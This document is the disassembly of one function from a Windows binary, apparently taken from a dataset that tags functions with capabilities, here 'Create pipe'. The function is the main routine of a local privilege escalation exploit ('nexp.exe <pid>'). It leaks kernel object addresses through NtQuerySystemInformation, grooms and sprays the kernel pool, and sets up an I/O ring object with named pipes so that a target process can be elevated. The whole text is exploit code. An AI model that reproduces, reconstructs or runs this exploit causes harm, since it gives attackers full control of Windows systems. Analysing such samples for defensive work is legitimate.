Function at 0x1400018b0
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x60
mov ebx, ecx
xor r12d, r12d
mov ecx, 0x100
mov qword [rsp + 0xa0], r12
mov ebp, r12d
mov rsi, rdx
mov edi, 0xffffffff
call fcn.1400087a4
xor edx, edx
mov r8d, 0x100
mov rcx, rax
mov r15, rax
call fcn.140003320
lea rcx, str.new_heap_groom___n
mov qword [rsp + 0x40], r12
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0x48], r12
call fcn.140001010
cmp ebx, 2
je 0x14000192b
lea rcx, str.usage:_nexp.exe__pid__n
call fcn.140001010
mov eax, edi
jmp 0x140001c54
mov rcx, qword [rsi + 8]
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.1400086dc
mov edx, eax
lea rcx, str.____Attempting_to_elevate_pid__i_n
mov ebx, eax
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023ca0], rax
test rax, rax
jne 0x140001994
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test eax, eax
je 0x140001994
lea rcx, str.____Failed_to_get_address_of_NT_functions:__0x_n
mov edx, eax
call fcn.140001010
mov eax, edi
jmp 0x140001c54
mov esi, 0x400
mov r8d, ebx
mov ecx, esi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400019bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140001c54
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rbx
lea rcx, [rsp + 0x48]
mov edx, eax
call fcn.140001c70
mov edi, eax
test eax, eax
je 0x1400019eb
lea rcx, str.____Failed_to_get_address_of_EPROC_:__0x_n
mov edx, eax
call fcn.140001010
mov eax, edi
jmp 0x140001c54
mov rdx, qword [rsp + 0x48]
lea rcx, str.target_object_ptr__llx_n
call fcn.140001010
lea r9, [rsp + 0xa8]
mov dword [rsp + 0x20], r12d
lea r8, [rsp + 0x40]
mov rdx, r15
mov ecx, 0xf0
call fcn.140001070
test eax, eax
jne 0x140001c46
lea rcx, str.making_holes__n
call fcn.140001010
mov rbx, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0x40]
sub rdi, rbx
nop
mov rcx, qword [rdi + rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 0x20]
sub rsi, 1
jne 0x140001a40
lea rax, [0x140023c78]
mov qword [rsp + 0x50], r12
mov r9d, 0x20000
mov qword [rsp + 0x20], rax
mov r8d, 0x10000
mov rdx, r12
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_CreateIoRing]
mov edi, eax
test eax, eax
jne 0x140001bd4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, qword [0x140023c78]
lea rcx, [rsp + 0xa0]
mov edx, eax
mov r8, qword [r8]
call fcn.140001c70
mov rbp, qword [rsp + 0xa0]
mov edi, eax
test eax, eax
jne 0x140001bd4
mov qword [rsp + 0x38], r12
lea edx, [rsi + 3]
mov dword [rsp + 0x30], r12d
lea rcx, str..pipeioring_in
mov dword [rsp + 0x28], 0x1000
mov r9d, 0xff
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
mov qword [0x140023c70], rbp
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [rsp + 0x38], r12
lea edx, [rsi + 3]
mov dword [rsp + 0x30], r12d
lea rcx, str..pipeioring_out
mov dword [rsp + 0x28], 0x1000
mov r9d, 0xff
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
mov qword [0x140022a38], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
cmp qword [0x140022a38], 0xffffffffffffffff
mov qword [0x140022a48], rax
je 0x140001bcc
cmp rax, 0xffffffffffffffff
je 0x140001bcc
mov qword [rsp + 0x30], r12
lea r8d, [rsi + 3]
mov dword [rsp + 0x28], 0x80
lea rcx, str..pipeioring_in
xor r9d, r9d
mov dword [rsp + 0x20], 4
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x30], r12
lea r8d, [rsi + 3]
mov dword [rsp + 0x28], 0x80
lea rcx, str..pipeioring_out
xor r9d, r9d
mov qword [0x140022a30], rax
mov edx, 0xc0000000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp qword [0x140022a30], 0xffffffffffffffff
mov qword [0x140022a40], rax
je 0x140001bcc
cmp rax, 0xffffffffffffffff
jne 0x140001bea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
je 0x140001bea
mov edx, edi
lea rcx, str.____IORING_setup_failed:__0x_n
call fcn.140001010
mov eax, edi
jmp 0x140001c54
mov rdx, rbp
lea rcx, str.___IoRing_Obj_Address_at__llx_n
call fcn.140001010
lea r9, [rsp + 0xa8]
mov dword [rsp + 0x20], r12d
lea r8, [rsp + 0x40]
mov rdx, r15
mov ecx, 0xf0
call fcn.140001070
test eax, eax
jne 0x140001c46
mov rcx, rbp
call fcn.140001640
mov rcx, qword [rsp + 0x48]
call fcn.140001f50
mov edi, eax
test eax, eax
je 0x140001c42
lea rcx, str.____LPE_Failed:__0x_n
mov edx, eax
call fcn.140001010
mov eax, edi
jmp 0x140001c54
lea rcx, str.spray_fail_n
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret